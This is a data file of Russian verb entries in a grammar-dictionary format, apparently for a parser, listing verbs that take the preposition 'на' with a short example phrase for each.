rus_verbs:разваливаться{}, // разваливаться на кусочки
rus_verbs:завозиться{}, // завозиться на склад
rus_verbs:нанимать{}, // нанимать на дневную работу
rus_verbs:поспеть{}, // поспеть на концерт
rus_verbs:променять{}, // променять на сытость
rus_verbs:переправить{}, // переправить на север
rus_verbs:налетать{}, // налетать на силовое поле
rus_verbs:затворить{}, // затворить на замок
rus_verbs:подогнать{}, // подогнать на пристань
rus_verbs:наехать{}, // наехать на камень
rus_verbs:распевать{}, // распевать на разные голоса
rus_verbs:разносить{}, // разносить на клочки
rus_verbs:преувеличивать{}, // преувеличивать на много килограммов
rus_verbs:хромать{}, // хромать на одну ногу
rus_verbs:телеграфировать{}, // телеграфировать на базу
rus_verbs:порезать{}, // порезать на лоскуты
rus_verbs:порваться{}, // порваться на части
rus_verbs:загонять{}, // загонять на дерево
rus_verbs:отбывать{}, // отбывать на место службы
rus_verbs:усаживаться{}, // усаживаться на трон
rus_verbs:накопить{}, // накопить на квартиру
rus_verbs:зыркнуть{}, // зыркнуть на визитера
rus_verbs:копить{}, // копить на машину
rus_verbs:помещать{}, // помещать на верхнюю грань
rus_verbs:сползать{}, // сползать на снег
rus_verbs:попроситься{}, // попроситься на улицу
rus_verbs:перетащить{}, // перетащить на чердак
rus_verbs:растащить{}, // растащить на сувениры
rus_verbs:ниспадать{}, // ниспадать на землю
rus_verbs:сфотографировать{}, // сфотографировать на память
rus_verbs:нагонять{}, // нагонять на конкурентов страх
rus_verbs:покушаться{}, // покушаться на понтифика
rus_verbs:покуситься{},
rus_verbs:наняться{}, // наняться на службу
rus_verbs:просачиваться{}, // просачиваться на поверхность
rus_verbs:пускаться{}, // пускаться на ветер
rus_verbs:отваживаться{}, // отваживаться на прыжок
rus_verbs:досадовать{}, // досадовать на объективные трудности
rus_verbs:унестись{}, // унестись на небо
rus_verbs:ухудшаться{}, // ухудшаться на несколько процентов
rus_verbs:насадить{}, // насадить на копьё
rus_verbs:нагрянуть{}, // нагрянуть на праздник
rus_verbs:зашвырнуть{}, // зашвырнуть на полку
rus_verbs:грешить{}, // грешить на постояльцев
rus_verbs:просочиться{}, // просочиться на поверхность
rus_verbs:надоумить{}, // надоумить на глупость
rus_verbs:намотать{}, // намотать на шпиндель
rus_verbs:замкнуть{}, // замкнуть на корпус
rus_verbs:цыкнуть{}, // цыкнуть на детей
rus_verbs:переворачиваться{}, // переворачиваться на спину
rus_verbs:соваться{}, // соваться на площать
rus_verbs:отлучиться{}, // отлучиться на обед
rus_verbs:пенять{}, // пенять на себя
rus_verbs:нарезать{}, // нарезать на ломтики
rus_verbs:поставлять{}, // поставлять на Кипр
rus_verbs:залезать{}, // залезать на балкон
rus_verbs:отлучаться{}, // отлучаться на обед
rus_verbs:сбиваться{}, // сбиваться на шаг
rus_verbs:таращить{}, // таращить глаза на вошедшего
rus_verbs:прошмыгнуть{}, // прошмыгнуть на кухню
rus_verbs:опережать{}, // опережать на пару сантиметров
rus_verbs:переставить{}, // переставить на стол
rus_verbs:раздирать{}, // раздирать на части
rus_verbs:затвориться{}, // затвориться на засовы
rus_verbs:материться{}, // материться на кого-то
rus_verbs:наскочить{}, // наскочить на риф
rus_verbs:набираться{}, // набираться на борт
rus_verbs:покрикивать{}, // покрикивать на помощников
rus_verbs:заменяться{}, // заменяться на более новый
rus_verbs:подсадить{}, // подсадить на верхнюю полку
rus_verbs:проковылять{}, // проковылять на кухню
rus_verbs:прикатить{}, // прикатить на старт
rus_verbs:залететь{}, // залететь на чужую территорию
rus_verbs:загрузить{}, // загрузить на конвейер
rus_verbs:уплывать{}, // уплывать на материк
rus_verbs:опозорить{}, // опозорить на всю деревню
rus_verbs:провоцировать{}, // провоцировать на ответную агрессию
rus_verbs:забивать{}, // забивать на учебу
rus_verbs:набегать{}, // набегать на прибрежные деревни
rus_verbs:запираться{}, // запираться на ключ
rus_verbs:фотографировать{}, // фотографировать на мыльницу
rus_verbs:подымать{}, // подымать на недосягаемую высоту
rus_verbs:съезжаться{}, // съезжаться на симпозиум
rus_verbs:отвлекаться{}, // отвлекаться на игру
rus_verbs:проливать{}, // проливать на брюки
rus_verbs:спикировать{}, // спикировать на зазевавшегося зайца
rus_verbs:уползти{}, // уползти на вершину холма
rus_verbs:переместить{}, // переместить на вторую палубу
rus_verbs:превысить{}, // превысить на несколько метров
rus_verbs:передвинуться{}, // передвинуться на соседнюю клетку
rus_verbs:спровоцировать{}, // спровоцировать на бросок
rus_verbs:сместиться{}, // сместиться на соседнюю клетку
rus_verbs:заготовить{}, // заготовить на зиму
rus_verbs:плеваться{}, // плеваться на пол
rus_verbs:переселить{}, // переселить на север
rus_verbs:напирать{}, // напирать на дверь
rus_verbs:переезжать{}, // переезжать на другой этаж
rus_verbs:приподнимать{}, // приподнимать на несколько сантиметров
rus_verbs:трогаться{}, // трогаться на красный свет
rus_verbs:надвинуться{}, // надвинуться на глаза
rus_verbs:засмотреться{}, // засмотреться на купальники
rus_verbs:убыть{}, // убыть на фронт
rus_verbs:передвигать{}, // передвигать на второй уровень
rus_verbs:отвозить{}, // отвозить на свалку
rus_verbs:обрекать{}, // обрекать на гибель
rus_verbs:записываться{}, // записываться на танцы
rus_verbs:настраивать{}, // настраивать на другой диапазон
rus_verbs:переписывать{}, // переписывать на диск
rus_verbs:израсходовать{}, // израсходовать на гонки
rus_verbs:обменять{}, // обменять на перспективного игрока
rus_verbs:трубить{}, // трубить на всю округу
rus_verbs:набрасываться{}, // набрасываться на жертву
rus_verbs:чихать{}, // чихать на правила
rus_verbs:наваливаться{}, // наваливаться на рычаг
rus_verbs:сподобиться{}, // сподобиться на повторный анализ
rus_verbs:намазать{}, // намазать на хлеб
rus_verbs:прореагировать{}, // прореагировать на вызов
rus_verbs:зачислить{}, // зачислить на факультет
rus_verbs:наведаться{}, // наведаться на склад
rus_verbs:откидываться{}, // откидываться на спинку кресла
rus_verbs:захромать{}, // захромать на левую ногу
rus_verbs:перекочевать{}, // перекочевать на другой берег
rus_verbs:накатываться{}, // накатываться на песчаный берег
rus_verbs:приостановить{}, // приостановить на некоторое время
rus_verbs:запрятать{}, // запрятать на верхнюю полочку
rus_verbs:прихрамывать{}, // прихрамывать на правую ногу
rus_verbs:упорхнуть{}, // упорхнуть на свободу
rus_verbs:расстегивать{}, // расстегивать на пальто
rus_verbs:напуститься{}, // напуститься на бродягу
rus_verbs:накатывать{}, // накатывать на оригинал
rus_verbs:наезжать{}, // наезжать на простофилю
rus_verbs:тявкнуть{}, // тявкнуть на подошедшего человека
rus_verbs:отрядить{}, // отрядить на починку
rus_verbs:положиться{}, // положиться на главаря
rus_verbs:опрокидывать{}, // опрокидывать на голову
rus_verbs:поторапливаться{}, // поторапливаться на рейс
rus_verbs:налагать{}, // налагать на заемщика
rus_verbs:скопировать{}, // скопировать на диск
rus_verbs:опадать{}, // опадать на землю
rus_verbs:купиться{}, // купиться на посулы
rus_verbs:гневаться{}, // гневаться на слуг
rus_verbs:слететься{}, // слететься на раздачу
rus_verbs:убавить{}, // убавить на два уровня
rus_verbs:спихнуть{}, // спихнуть на соседа
rus_verbs:накричать{}, // накричать на ребенка
rus_verbs:приберечь{}, // приберечь на ужин
rus_verbs:приклеить{}, // приклеить на ветровое стекло
rus_verbs:ополчиться{}, // ополчиться на посредников
rus_verbs:тратиться{}, // тратиться на сувениры
rus_verbs:слетаться{}, // слетаться на свет
rus_verbs:доставляться{}, // доставляться на базу
rus_verbs:поплевать{}, // поплевать на руки
rus_verbs:огрызаться{}, // огрызаться на замечание
rus_verbs:попереться{}, // попереться на рынок
rus_verbs:растягиваться{}, // растягиваться на полу
rus_verbs:повергать{}, // повергать на землю
rus_verbs:ловиться{}, // ловиться на мотыля
rus_verbs:наседать{}, // наседать на обороняющихся
rus_verbs:развалить{}, // развалить на кирпичи
rus_verbs:разломить{}, // разломить на несколько частей
rus_verbs:примерить{}, // примерить на себя
rus_verbs:лепиться{}, // лепиться на стену
rus_verbs:скопить{}, // скопить на старость
rus_verbs:затратить{}, // затратить на ликвидацию последствий
rus_verbs:притащиться{}, // притащиться на гулянку
rus_verbs:осерчать{}, // осерчать на прислугу
rus_verbs:натравить{}, // натравить на медведя
rus_verbs:ссыпать{}, // ссыпать на землю
rus_verbs:подвозить{}, // подвозить на пристань
rus_verbs:мобилизовать{}, // мобилизовать на сборы
rus_verbs:смотаться{}, // смотаться на работу
rus_verbs:заглядеться{}, // заглядеться на девчонок
rus_verbs:таскаться{}, // таскаться на работу
rus_verbs:разгружать{}, // разгружать на транспортер
rus_verbs:потреблять{}, // потреблять на кондиционирование
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять на базу
деепричастие:сгоняв{},
rus_verbs:посылаться{}, // посылаться на разведку
rus_verbs:окрыситься{}, // окрыситься на кого-то
rus_verbs:отлить{}, // отлить на сковороду
rus_verbs:шикнуть{}, // шикнуть на детишек
rus_verbs:уповать{}, // уповать на бескорысную помощь
rus_verbs:класться{}, // класться на стол
rus_verbs:поковылять{}, // поковылять на выход
rus_verbs:навевать{}, // навевать на собравшихся скуку
rus_verbs:накладываться{}, // накладываться на грунтовку
rus_verbs:наноситься{}, // наноситься на чистую кожу
// rus_verbs:запланировать{}, // запланировать на среду
rus_verbs:кувыркнуться{}, // кувыркнуться на землю
rus_verbs:гавкнуть{}, // гавкнуть на хозяина
rus_verbs:перестроиться{}, // перестроиться на новый лад
rus_verbs:расходоваться{}, // расходоваться на образование
rus_verbs:дуться{}, // дуться на бабушку
rus_verbs:перетаскивать{}, // перетаскивать на рабочий стол
rus_verbs:издаться{}, // издаться на деньги спонсоров
rus_verbs:смещаться{}, // смещаться на несколько миллиметров
rus_verbs:зазывать{}, // зазывать на новогоднюю распродажу
rus_verbs:пикировать{}, // пикировать на окопы
rus_verbs:чертыхаться{}, // чертыхаться на мешающихся детей
rus_verbs:зудить{}, // зудить на ухо
rus_verbs:подразделяться{}, // подразделяться на группы
rus_verbs:изливаться{}, // изливаться на землю
rus_verbs:помочиться{}, // помочиться на траву
rus_verbs:примерять{}, // примерять на себя
rus_verbs:разрядиться{}, // разрядиться на землю
rus_verbs:мотнуться{}, // мотнуться на крышу
rus_verbs:налегать{}, // налегать на весла
rus_verbs:зацокать{}, // зацокать на куриц
rus_verbs:наниматься{}, // наниматься на корабль
rus_verbs:сплевывать{}, // сплевывать на землю
rus_verbs:настучать{}, // настучать на саботажника
rus_verbs:приземляться{}, // приземляться на брюхо
rus_verbs:наталкиваться{}, // наталкиваться на объективные трудности
rus_verbs:посигналить{}, // посигналить нарушителю, выехавшему на встречную полосу
rus_verbs:серчать{}, // серчать на нерасторопную помощницу
rus_verbs:сваливать{}, // сваливать на подоконник
rus_verbs:засобираться{}, // засобираться на работу
rus_verbs:распилить{}, // распилить на одинаковые бруски
//rus_verbs:умножать{}, // умножать на константу
rus_verbs:копировать{}, // копировать на диск
rus_verbs:накрутить{}, // накрутить на руку
rus_verbs:навалить{}, // навалить на телегу
rus_verbs:натолкнуть{}, // натолкнуть на свежую мысль
rus_verbs:шлепаться{}, // шлепаться на бетон
rus_verbs:ухлопать{}, // ухлопать на скупку произведений искусства
rus_verbs:замахиваться{}, // замахиваться на авторитетнейшее мнение
rus_verbs:посягнуть{}, // посягнуть на святое
rus_verbs:разменять{}, // разменять на мелочь
rus_verbs:откатываться{}, // откатываться на заранее подготовленные позиции
rus_verbs:усаживать{}, // усаживать на скамейку
rus_verbs:натаскать{}, // натаскать на поиск наркотиков
rus_verbs:зашикать{}, // зашикать на кошку
rus_verbs:разломать{}, // разломать на равные части
rus_verbs:приглашаться{}, // приглашаться на сцену
rus_verbs:присягать{}, // присягать на верность
rus_verbs:запрограммировать{}, // запрограммировать на постоянную уборку
rus_verbs:расщедриться{}, // расщедриться на новый компьютер
rus_verbs:насесть{}, // насесть на двоечников
rus_verbs:созывать{}, // созывать на собрание
rus_verbs:позариться{}, // позариться на чужое добро
rus_verbs:перекидываться{}, // перекидываться на соседние здания
rus_verbs:наползать{}, // наползать на неповрежденную ткань
rus_verbs:изрубить{}, // изрубить на мелкие кусочки
rus_verbs:наворачиваться{}, // наворачиваться на глаза
rus_verbs:раскричаться{}, // раскричаться на всю округу
rus_verbs:переползти{}, // переползти на светлую сторону
rus_verbs:уполномочить{}, // уполномочить на разведовательную операцию
rus_verbs:мочиться{}, // мочиться на трупы убитых врагов
rus_verbs:радировать{}, // радировать на базу
rus_verbs:промотать{}, // промотать на начало
rus_verbs:заснять{}, // заснять на видео
rus_verbs:подбивать{}, // подбивать на матч-реванш
rus_verbs:наплевать{}, // наплевать на справедливость
rus_verbs:подвывать{}, // подвывать на луну
rus_verbs:расплескать{}, // расплескать на пол
rus_verbs:польститься{}, // польститься на бесплатный сыр
rus_verbs:помчать{}, // помчать на работу
rus_verbs:съезжать{}, // съезжать на обочину
rus_verbs:нашептать{}, // нашептать кому-то на ухо
rus_verbs:наклеить{}, // наклеить на доску объявлений
rus_verbs:завозить{}, // завозить на склад
rus_verbs:заявляться{}, // заявляться на любимую работу
rus_verbs:наглядеться{}, // наглядеться на воробьев
rus_verbs:хлопнуться{}, // хлопнуться на живот
rus_verbs:забредать{}, // забредать на поляну
rus_verbs:посягать{}, // посягать на исконные права собственности
rus_verbs:сдвигать{}, // сдвигать на одну позицию
rus_verbs:спрыгивать{}, // спрыгивать на землю
rus_verbs:сдвигаться{}, // сдвигаться на две позиции
rus_verbs:разделать{}, // разделать на орехи
rus_verbs:разлагать{}, // разлагать на элементарные элементы
rus_verbs:обрушивать{}, // обрушивать на головы врагов
rus_verbs:натечь{}, // натечь на пол
rus_verbs:политься{}, // вода польется на землю
rus_verbs:успеть{}, // Они успеют на поезд.
инфинитив:мигрировать{ вид:несоверш }, глагол:мигрировать{ вид:несоверш },
деепричастие:мигрируя{},
инфинитив:мигрировать{ вид:соверш }, глагол:мигрировать{ вид:соверш },
деепричастие:мигрировав{},
rus_verbs:двинуться{}, // Мы скоро двинемся на дачу.
rus_verbs:подойти{}, // Он не подойдёт на должность секретаря.
rus_verbs:потянуть{}, // Он не потянет на директора.
rus_verbs:тянуть{}, // Он не тянет на директора.
rus_verbs:перескакивать{}, // перескакивать с одного примера на другой
rus_verbs:жаловаться{}, // Он жалуется на нездоровье.
rus_verbs:издать{}, // издать на деньги спонсоров
rus_verbs:показаться{}, // показаться на глаза
rus_verbs:высаживать{}, // высаживать на необитаемый остров
rus_verbs:вознестись{}, // вознестись на самую вершину славы
rus_verbs:залить{}, // залить на youtube
rus_verbs:закачать{}, // закачать на youtube
rus_verbs:сыграть{}, // сыграть на деньги
rus_verbs:экстраполировать{}, // Формулу можно экстраполировать на случай нескольких переменных
инфинитив:экстраполироваться{ вид:несоверш}, // Ситуация легко экстраполируется на случай нескольких переменных
глагол:экстраполироваться{ вид:несоверш},
инфинитив:экстраполироваться{ вид:соверш},
глагол:экстраполироваться{ вид:соверш},
деепричастие:экстраполируясь{},
инфинитив:акцентировать{вид:соверш}, // оратор акцентировал внимание слушателей на новый аспект проблемы
глагол:акцентировать{вид:соверш},
инфинитив:акцентировать{вид:несоверш},
глагол:акцентировать{вид:несоверш},
прилагательное:акцентировавший{вид:несоверш},
//прилагательное:акцентировавший{вид:соверш},
прилагательное:акцентирующий{},
деепричастие:акцентировав{},
деепричастие:акцентируя{},
rus_verbs:бабахаться{}, // он бабахался на пол
rus_verbs:бабахнуться{}, // мальчил бабахнулся на асфальт
rus_verbs:батрачить{}, // Крестьяне батрачили на хозяина
rus_verbs:бахаться{}, // Наездники бахались на землю
rus_verbs:бахнуться{}, // Наездник опять бахнулся на землю
rus_verbs:благословить{}, // батюшка благословил отрока на подвиг
rus_verbs:благословлять{}, // батюшка благословляет отрока на подвиг
rus_verbs:блевануть{}, // Он блеванул на землю
rus_verbs:блевать{}, // Он блюет на землю
rus_verbs:бухнуться{}, // Наездник бухнулся на землю
rus_verbs:валить{}, // Ветер валил деревья на землю
rus_verbs:спилить{}, // Спиленное дерево валится на землю
rus_verbs:ввезти{}, // Предприятие ввезло товар на таможню
rus_verbs:вдохновить{}, // Фильм вдохновил мальчика на поход в лес
rus_verbs:вдохновиться{}, // Мальчик вдохновился на поход
rus_verbs:вдохновлять{}, // Фильм вдохновляет на поход в лес
rus_verbs:вестись{}, // Не ведись на эти уловки!
rus_verbs:вешать{}, // Гости вешают одежду на вешалку
rus_verbs:вешаться{}, // Одежда вешается на вешалки
rus_verbs:вещать{}, // радиостанция вещает на всю страну
rus_verbs:взбираться{}, // Туристы взбираются на заросший лесом холм
rus_verbs:взбредать{}, // Что иногда взбредает на ум
rus_verbs:взбрести{}, // Что-то взбрело на ум
rus_verbs:взвалить{}, // Мама взвалила на свои плечи всё домашнее хозяйство
rus_verbs:взваливаться{}, // Все домашнее хозяйство взваливается на мамины плечи
rus_verbs:взваливать{}, // Не надо взваливать всё на мои плечи
rus_verbs:взглянуть{}, // Кошка взглянула на мышку
rus_verbs:взгромождать{}, // Мальчик взгромождает стул на стол
rus_verbs:взгромождаться{}, // Мальчик взгромождается на стол
rus_verbs:взгромоздить{}, // Мальчик взгромоздил стул на стол
rus_verbs:взгромоздиться{}, // Мальчик взгромоздился на стул
rus_verbs:взирать{}, // Очевидцы взирали на непонятный объект
rus_verbs:взлетать{}, // Фабрика фейерверков взлетает на воздух
rus_verbs:взлететь{}, // Фабрика фейерверков взлетела на воздух
rus_verbs:взобраться{}, // Туристы взобрались на гору
rus_verbs:взойти{}, // Туристы взошли на гору
rus_verbs:взъесться{}, // Отец взъелся на непутевого сына
rus_verbs:взъяриться{}, // Отец взъярился на непутевого сына
rus_verbs:вкатить{}, // рабочие вкатили бочку на пандус
rus_verbs:вкатывать{}, // рабочик вкатывают бочку на пандус
rus_verbs:влиять{}, // Это решение влияет на всех игроков рынка
rus_verbs:водворить{}, // водворить нарушителя на место
rus_verbs:водвориться{}, // водвориться на свое место
rus_verbs:водворять{}, // водворять вещь на свое место
rus_verbs:водворяться{}, // водворяться на свое место
rus_verbs:водружать{}, // водружать флаг на флагшток
rus_verbs:водружаться{}, // Флаг водружается на флагшток
rus_verbs:водрузить{}, // водрузить флаг на флагшток
rus_verbs:водрузиться{}, // Флаг водрузился на вершину горы
rus_verbs:воздействовать{}, // Излучение воздействует на кожу
rus_verbs:воззреть{}, // воззреть на поле боя
rus_verbs:воззриться{}, // воззриться на поле боя
rus_verbs:возить{}, // возить туристов на гору
rus_verbs:возлагать{}, // Многочисленные посетители возлагают цветы на могилу
rus_verbs:возлагаться{}, // Ответственность возлагается на начальство
rus_verbs:возлечь{}, // возлечь на лежанку
rus_verbs:возложить{}, // возложить цветы на могилу поэта
rus_verbs:вознести{}, // вознести кого-то на вершину славы
rus_verbs:возноситься{}, // возносится на вершину успеха
rus_verbs:возносить{}, // возносить счастливчика на вершину успеха
rus_verbs:подниматься{}, // Мы поднимаемся на восьмой этаж
rus_verbs:подняться{}, // Мы поднялись на восьмой этаж
rus_verbs:вонять{}, // Кусок сыра воняет на всю округу
rus_verbs:воодушевлять{}, // Идеалы воодушевляют на подвиги
rus_verbs:воодушевляться{}, // Люди воодушевляются на подвиги
rus_verbs:ворчать{}, // Старый пес ворчит на прохожих
rus_verbs:воспринимать{}, // воспринимать сообщение на слух
rus_verbs:восприниматься{}, // сообщение плохо воспринимается на слух
rus_verbs:воспринять{}, // воспринять сообщение на слух
rus_verbs:восприняться{}, // восприняться на слух
rus_verbs:воссесть{}, // Коля воссел на трон
rus_verbs:вправить{}, // вправить мозг на место
rus_verbs:вправлять{}, // вправлять мозги на место
rus_verbs:временить{}, // временить с выходом на пенсию
rus_verbs:врубать{}, // врубать на полную мощность
rus_verbs:врубить{}, // врубить на полную мощность
rus_verbs:врубиться{}, // врубиться на полную мощность
rus_verbs:врываться{}, // врываться на собрание
rus_verbs:вскарабкаться{}, // вскарабкаться на утёс
rus_verbs:вскарабкиваться{}, // вскарабкиваться на утёс
rus_verbs:вскочить{}, // вскочить на ноги
rus_verbs:всплывать{}, // всплывать на поверхность воды
rus_verbs:всплыть{}, // всплыть на поверхность воды
rus_verbs:вспрыгивать{}, // вспрыгивать на платформу
rus_verbs:вспрыгнуть{}, // вспрыгнуть на платформу
rus_verbs:встать{}, // встать на защиту чести и достоинства
rus_verbs:вторгаться{}, // вторгаться на чужую территорию
rus_verbs:вторгнуться{}, // вторгнуться на чужую территорию
rus_verbs:въезжать{}, // въезжать на пандус
rus_verbs:наябедничать{}, // наябедничать на соседа по парте
rus_verbs:выблевать{}, // выблевать завтрак на пол
rus_verbs:выблеваться{}, // выблеваться на пол
rus_verbs:выблевывать{}, // выблевывать завтрак на пол
rus_verbs:выблевываться{}, // выблевываться на пол
rus_verbs:вывезти{}, // вывезти мусор на свалку
rus_verbs:вывесить{}, // вывесить белье на просушку
rus_verbs:вывести{}, // вывести собаку на прогулку
rus_verbs:вывешивать{}, // вывешивать белье на веревку
rus_verbs:вывозить{}, // вывозить детей на природу
rus_verbs:вызывать{}, // Начальник вызывает на ковер
rus_verbs:выйти{}, // выйти на свободу
rus_verbs:выкладывать{}, // выкладывать на всеобщее обозрение
rus_verbs:выкладываться{}, // выкладываться на всеобщее обозрение
rus_verbs:выливать{}, // выливать на землю
rus_verbs:выливаться{}, // выливаться на землю
rus_verbs:вылить{}, // вылить жидкость на землю
rus_verbs:вылиться{}, // Топливо вылилось на землю
rus_verbs:выложить{}, // выложить на берег
rus_verbs:выменивать{}, // выменивать золото на хлеб
rus_verbs:вымениваться{}, // Золото выменивается на хлеб
rus_verbs:выменять{}, // выменять золото на хлеб
rus_verbs:выпадать{}, // снег выпадает на землю
rus_verbs:выплевывать{}, // выплевывать на землю
rus_verbs:выплевываться{}, // выплевываться на землю
rus_verbs:выплескать{}, // выплескать на землю
rus_verbs:выплескаться{}, // выплескаться на землю
rus_verbs:выплескивать{}, // выплескивать на землю
rus_verbs:выплескиваться{}, // выплескиваться на землю
rus_verbs:выплывать{}, // выплывать на поверхность
rus_verbs:выплыть{}, // выплыть на поверхность
rus_verbs:выплюнуть{}, // выплюнуть на пол
rus_verbs:выползать{}, // выползать на свежий воздух
rus_verbs:выпроситься{}, // выпроситься на улицу
rus_verbs:выпрыгивать{}, // выпрыгивать на свободу
rus_verbs:выпрыгнуть{}, // выпрыгнуть на перрон
rus_verbs:выпускать{}, // выпускать на свободу
rus_verbs:выпустить{}, // выпустить на свободу
rus_verbs:выпучивать{}, // выпучивать на кого-то глаза
rus_verbs:выпучиваться{}, // глаза выпучиваются на кого-то
rus_verbs:выпучить{}, // выпучить глаза на кого-то
rus_verbs:выпучиться{}, // выпучиться на кого-то
rus_verbs:выронить{}, // выронить на землю
rus_verbs:высадить{}, // высадить на берег
rus_verbs:высадиться{}, // высадиться на берег
rus_verbs:высаживаться{}, // высаживаться на остров
rus_verbs:выскальзывать{}, // выскальзывать на землю
rus_verbs:выскочить{}, // выскочить на сцену
rus_verbs:высморкаться{}, // высморкаться на землю
rus_verbs:высморкнуться{}, // высморкнуться на землю
rus_verbs:выставить{}, // выставить на всеобщее обозрение
rus_verbs:выставиться{}, // выставиться на всеобщее обозрение
rus_verbs:выставлять{}, // выставлять на всеобщее обозрение
rus_verbs:выставляться{}, // выставляться на всеобщее обозрение
инфинитив:высыпать{вид:соверш}, // высыпать на землю
инфинитив:высыпать{вид:несоверш},
глагол:высыпать{вид:соверш},
глагол:высыпать{вид:несоверш},
деепричастие:высыпав{},
деепричастие:высыпая{},
прилагательное:высыпавший{вид:соверш},
//++прилагательное:высыпавший{вид:несоверш},
прилагательное:высыпающий{вид:несоверш},
rus_verbs:высыпаться{}, // высыпаться на землю
rus_verbs:вытаращивать{}, // вытаращивать глаза на медведя
rus_verbs:вытаращиваться{}, // вытаращиваться на медведя
rus_verbs:вытаращить{}, // вытаращить глаза на медведя
rus_verbs:вытаращиться{}, // вытаращиться на медведя
rus_verbs:вытекать{}, // вытекать на землю
rus_verbs:вытечь{}, // вытечь на землю
rus_verbs:выучиваться{}, // выучиваться на кого-то
rus_verbs:выучиться{}, // выучиться на кого-то
rus_verbs:посмотреть{}, // посмотреть на экран
rus_verbs:нашить{}, // нашить что-то на одежду
rus_verbs:придти{}, // придти на помощь кому-то
инфинитив:прийти{}, // прийти на помощь кому-то
глагол:прийти{},
деепричастие:придя{}, // Придя на вокзал, он поспешно взял билеты.
rus_verbs:поднять{}, // поднять на вершину
rus_verbs:согласиться{}, // согласиться на ничью
rus_verbs:послать{}, // послать на фронт
rus_verbs:слать{}, // слать на фронт
rus_verbs:надеяться{}, // надеяться на лучшее
rus_verbs:крикнуть{}, // крикнуть на шалунов
rus_verbs:пройти{}, // пройти на пляж
rus_verbs:прислать{}, // прислать на экспертизу
rus_verbs:жить{}, // жить на подачки
rus_verbs:становиться{}, // становиться на ноги
rus_verbs:наслать{}, // наслать на кого-то
rus_verbs:принять{}, // принять на заметку
rus_verbs:собираться{}, // собираться на экзамен
rus_verbs:оставить{}, // оставить на всякий случай
rus_verbs:звать{}, // звать на помощь
rus_verbs:направиться{}, // направиться на прогулку
rus_verbs:отвечать{}, // отвечать на звонки
rus_verbs:отправиться{}, // отправиться на прогулку
rus_verbs:поставить{}, // поставить на пол
rus_verbs:обернуться{}, // обернуться на зов
rus_verbs:отозваться{}, // отозваться на просьбу
rus_verbs:закричать{}, // закричать на собаку
rus_verbs:опустить{}, // опустить на землю
rus_verbs:принести{}, // принести на пляж свой жезлонг
rus_verbs:указать{}, // указать на дверь
rus_verbs:ходить{}, // ходить на занятия
rus_verbs:уставиться{}, // уставиться на листок
rus_verbs:приходить{}, // приходить на экзамен
rus_verbs:махнуть{}, // махнуть на пляж
rus_verbs:явиться{}, // явиться на допрос
rus_verbs:оглянуться{}, // оглянуться на дорогу
rus_verbs:уехать{}, // уехать на заработки
rus_verbs:повести{}, // повести на штурм
rus_verbs:опуститься{}, // опуститься на колени
//rus_verbs:передать{}, // передать на проверку
rus_verbs:побежать{}, // побежать на занятия
rus_verbs:прибыть{}, // прибыть на место службы
rus_verbs:кричать{}, // кричать на медведя
rus_verbs:стечь{}, // стечь на землю
rus_verbs:обратить{}, // обратить на себя внимание
rus_verbs:подать{}, // подать на пропитание
rus_verbs:привести{}, // привести на съемки
rus_verbs:испытывать{}, // испытывать на животных
rus_verbs:перевести{}, // перевести на жену
rus_verbs:купить{}, // купить на заемные деньги
rus_verbs:собраться{}, // собраться на встречу
rus_verbs:заглянуть{}, // заглянуть на огонёк
rus_verbs:нажать{}, // нажать на рычаг
rus_verbs:поспешить{}, // поспешить на праздник
rus_verbs:перейти{}, // перейти на русский язык
rus_verbs:поверить{}, // поверить на честное слово
rus_verbs:глянуть{}, // глянуть на обложку
rus_verbs:зайти{}, // зайти на огонёк
rus_verbs:проходить{}, // проходить на сцену
rus_verbs:глядеть{}, // глядеть на актрису
//rus_verbs:решиться{}, // решиться на прыжок
rus_verbs:пригласить{}, // пригласить на танец
rus_verbs:позвать{}, // позвать на экзамен
rus_verbs:усесться{}, // усесться на стул
rus_verbs:поступить{}, // поступить на математический факультет
rus_verbs:лечь{}, // лечь на живот
rus_verbs:потянуться{}, // потянуться на юг
rus_verbs:присесть{}, // присесть на корточки
rus_verbs:наступить{}, // наступить на змею
rus_verbs:заорать{}, // заорать на попрошаек
rus_verbs:надеть{}, // надеть на голову
rus_verbs:поглядеть{}, // поглядеть на девчонок
rus_verbs:принимать{}, // принимать на гарантийное обслуживание
rus_verbs:привезти{}, // привезти на испытания
rus_verbs:рухнуть{}, // рухнуть на асфальт
rus_verbs:пускать{}, // пускать на корм
rus_verbs:отвести{}, // отвести на приём
rus_verbs:отправить{}, // отправить на утилизацию
rus_verbs:двигаться{}, // двигаться на восток
rus_verbs:нести{}, // нести на пляж
rus_verbs:падать{}, // падать на руки
rus_verbs:откинуться{}, // откинуться на спинку кресла
rus_verbs:рявкнуть{}, // рявкнуть на детей
rus_verbs:получать{}, // получать на проживание
rus_verbs:полезть{}, // полезть на рожон
rus_verbs:направить{}, // направить на дообследование
rus_verbs:приводить{}, // приводить на проверку
rus_verbs:потребоваться{}, // потребоваться на замену
rus_verbs:кинуться{}, // кинуться на нападавшего
rus_verbs:учиться{}, // учиться на токаря
rus_verbs:приподнять{}, // приподнять на один метр
rus_verbs:налить{}, // налить на стол
rus_verbs:играть{}, // играть на деньги
rus_verbs:рассчитывать{}, // рассчитывать на подмогу
rus_verbs:шепнуть{}, // шепнуть на ухо
rus_verbs:швырнуть{}, // швырнуть на землю
rus_verbs:прыгнуть{}, // прыгнуть на оленя
rus_verbs:предлагать{}, // предлагать на выбор
rus_verbs:садиться{}, // садиться на стул
rus_verbs:лить{}, // лить на землю
rus_verbs:испытать{}, // испытать на животных
rus_verbs:фыркнуть{}, // фыркнуть на детеныша
rus_verbs:годиться{}, // мясо годится на фарш
rus_verbs:проверить{}, // проверить высказывание на истинность
rus_verbs:откликнуться{}, // откликнуться на призывы
rus_verbs:полагаться{}, // полагаться на интуицию
rus_verbs:покоситься{}, // покоситься на соседа
rus_verbs:повесить{}, // повесить на гвоздь
инфинитив:походить{вид:соверш}, // походить на занятия
глагол:походить{вид:соверш},
деепричастие:походив{},
прилагательное:походивший{},
rus_verbs:помчаться{}, // помчаться на экзамен
rus_verbs:ставить{}, // ставить на контроль
rus_verbs:свалиться{}, // свалиться на землю
rus_verbs:валиться{}, // валиться на землю
rus_verbs:подарить{}, // подарить на день рожденья
rus_verbs:сбежать{}, // сбежать на необитаемый остров
rus_verbs:стрелять{}, // стрелять на поражение
rus_verbs:обращать{}, // обращать на себя внимание
rus_verbs:наступать{}, // наступать на те же грабли
rus_verbs:сбросить{}, // сбросить на землю
rus_verbs:обидеться{}, // обидеться на друга
rus_verbs:устроиться{}, // устроиться на стажировку
